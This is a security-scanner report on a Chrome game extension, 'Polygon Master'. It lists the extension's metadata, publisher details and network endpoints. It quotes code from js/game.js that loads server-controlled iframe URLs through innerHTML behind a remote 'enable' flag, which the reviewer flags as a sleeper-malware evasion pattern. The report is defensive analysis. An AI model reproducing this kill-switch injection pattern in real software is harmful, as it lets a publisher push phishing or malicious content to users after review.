Chrome Web Store
2Versions
1Code reviewed

Caution required

Suspicious in code review

Our reviewer found behaviour consistent with malware, but not enough to confirm it. Treat this extension as untrusted until it has been re-reviewed.

Polygon Master Game - Spin, Align, and Create Perfect Polygons!

Polygon Master Game - Spin, Align, and Create Perfect Polygons!

ID: conjhdjdfggafbpekaanijfbahhhonae

Supported Languages

๐Ÿ‡ธ๐Ÿ‡ฆArabic
๐Ÿ‡ง๐Ÿ‡ทBrazilian Portuguese
๐Ÿ‡จ๐Ÿ‡ณChinese (Simplified)
๐Ÿ‡น๐Ÿ‡ผChinese (Traditional)
๐Ÿ‡จ๐Ÿ‡ฟCzech
๐Ÿ‡ณ๐Ÿ‡ฑDutch
๐Ÿ‡บ๐Ÿ‡ธEnglish
๐Ÿ‡ซ๐Ÿ‡ฎFinnish
๐Ÿ‡ซ๐Ÿ‡ทFrench
๐Ÿ‡ฉ๐Ÿ‡ชGerman
๐Ÿ‡ฌ๐Ÿ‡ทGreek
๐Ÿ‡ฎ๐Ÿ‡นItalian
๐Ÿ‡ฏ๐Ÿ‡ตJapanese
๐Ÿ‡ฐ๐Ÿ‡ทKorean
๐Ÿ‡ณ๐Ÿ‡ดNorwegian
๐Ÿ‡ต๐Ÿ‡ฑPolish
๐Ÿ‡ต๐Ÿ‡นPortuguese
๐Ÿ‡ท๐Ÿ‡ธSerbian
๐Ÿ‡ธ๐Ÿ‡ฐSlovak
๐Ÿ‡ช๐Ÿ‡ธSpanish
๐Ÿ‡ธ๐Ÿ‡ชSwedish
๐Ÿ‡น๐Ÿ‡ญThai
๐Ÿ‡น๐Ÿ‡ทTurkish

Extension Info & Metadata

Status
Active
Version
1.0.5
Size
4.13 MB
Rating
0.0/5
Reviews
0
Users
8
Type
Extension
Updated
Apr 1, 2025
Category
Games
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

This publisher

19 extensions, 10 no longer listed on the store

Publisher Contextual Analysis

Author
vigilidelfonso91View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
19
Active
9
Obsolete
10
Listed
19
Unlisted
0
Total Users
1,212

This extension requests no permissions and has no recorded risk factors.

The extension fetches arbitrary iframe URLs from an external API server (`game-extension-api.offlinegames.fun`) and injects them unsanitized into the extension's popup page via `innerHTML`. A server-side `enable` flag acts as a kill switch that can activate payload delivery after CWS review โ€” a well-known sleeper-malware evasion pattern. Because the injected `src` values are fully server-controlled, the publisher can redirect users to phishing pages, forced-redirect flows, or malicious ad networks at any time post-installation.

js/game.js (Line 89)
async function setRecommendGames() {  await sleep(10);  const installTime = parseInt(localStorage.getItem('installTime'));  if (installTime && Date.now() - installTime < 1000 * 60 * 60 * 24 * 1) {    return;  }  try {    const response = await fetch('https://game-extension-api.offlinegames.fun/recommend/');    const data = await response.json();    if (!data.enable) {      return;    }    const recommendBox1 = document.querySelector('.recommend-box-1');    const recommendBox2 = document.querySelector('.recommend-box-2');    if (data['recommend-1']) {      recommendBox1.innerHTML = `<iframe src="${data['recommend-1']}" width="100%" height="100%"></iframe>`;      recommendBox1.style.display = 'block';    }    if (data['recommend-2']) {      recommendBox2.innerHTML = `<iframe src="${data['recommend-2']}" width="100%" height="100%"></iframe>`;      recommendBox2.style.display = 'block';    }  } catch (err) {  }}

By severity

Critical0
High1
Medium0
Low0

Versions scanned

None of the 2 scanned versions have more than one unique code-review finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
No versions with multiple unique findings.

Files with findings

1 distinct path โ€” top paths by unique finding count:

  • js/game.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Remote Code Loading
high
js/game.js (line 89)The extension fetches arbitrary iframe URLs from an external API server (`game-extension-api.offlinegames.fun`) and injects them unsanitized into the extension's popup page via `innerHTML`. A server-side `enable` flagโ€ฆ
URLs
33
IPv4
1

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.construct.net-https://www.construct.net
play.google.com/store/apps/detailshttps://play.google.com/store/apps/details?id=com.google.android.webview
www.google.com/chromehttps://www.google.com/chrome
www.mozilla.org/firefoxhttps://www.mozilla.org/firefox
t.poki.io/lhttps://t.poki.io/l
t.poki.io/adserverhttps://t.poki.io/adserver
a.poki.com/fonts/proxima-nova-regular-latin.woff2https://a.poki.com/fonts/proxima-nova-regular-latin.woff2
a.poki.com/fonts/proxima-nova-bold-latin.woff2https://a.poki.com/fonts/proxima-nova-bold-latin.woff2
a.poki.com/fonts/torus-bold-latin.woff2https://a.poki.com/fonts/torus-bold-latin.woff2
a.poki.com/playtest/Poki+Play+Test+Privacy+Statement.pdfhttps://a.poki.com/playtest/Poki+Play+Test+Privacy+Statement.pdf
Showing 1 to 10 of 40 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

127.0.0.1
IPv4
-
Version
Size
Verdict
Findings
Permhash
1.0.5
Latest
4.13 MBCaution1N/A
1.0.4
4.13 MBCautionโ€”N/A
Showing 1 to 2 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

About this extension

"Unleash your strategy in Polygon Master, a thrilling 3D geometry puzzle for Chrome! ๐ŸŽฎ"

Read the publisherโ€™s full description

Discover Polygon Master - The Ultimate 3D Geometry Puzzle Adventure ๐ŸŽฎ๐Ÿ”บ Unleash your inner strategist with *Polygon Master*, a captivating browser-based puzzle game that challenges you to create perfect polygons by rotating and matching colorful shapes. Playable directly as a free browser extension, this addictive title combines fast-paced action with brain-teasing geometry mechanics, all while supporting offline play for uninterrupted fun anywhere, anytime. Key Features: - Dynamic 3D Puzzles: Spin and align glowing polygonal fragments across hundreds of levels, from simple triangles to complex dodecagons. Watch pieces snap into place with satisfying visual feedback! - Progressive Difficulty: Start easy with basic shapes and unlock advanced modes like *Time Rush* and *Endurance Climb* as your skills improve. - Offline Accessibility: No internet? No problem! Install the lightweight browser extension once, and enjoy seamless gameplay on planes, trains, or remote areas. - Rewarding Power-Ups: Earn boosters like *Shape Lock* and *Color Sync* by achieving combos or speed bonuses. Use them wisely to tackle challenging stages! - Minimalist Vibe: Clean interfaces and relaxing lo-fi beats keep you focused on precision without distractions. Gameplay Mechanics: Tap or swipe to rotate floating fragments in 3D space until their edges align perfectly โ€“ but hurry! Later levels introduce obstacles like shifting gravity fields ๐ŸŒŒ and color-matching requirements ๐ŸŸฅ๐ŸŸฆ๐ŸŸฉ. Master combo chains for bonus points or compete in daily leaderboards (online connection optional). Why Players Love It: - Beginner-friendly tutorials ease you into mechanics before ramping up complexity ๐Ÿ”„ - Lightning-fast load times via browser efficiency โšก๏ธ - Zero ads or paywalls โ€“ 100% free geometric perfection โค๏ธ๐Ÿ—๏ธ Whether youโ€™re a casual gamer or a puzzle enthusiast craving spatial challenges, *Polygon Master* offers endless hours of creative problem-solving wrapped in sleek design. Perfect for quick breaks or deep-dive sessions โ€“ install today at no cost! We provide a "Play More Games" button in the extension and open our official website when you first install it, where you can experience more free games.

Screenshots & videos

Screenshot 1
Screenshot 2
Screenshot 3
Screenshot 4
Screenshot 5

Install growth

User reviews

Extension files

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.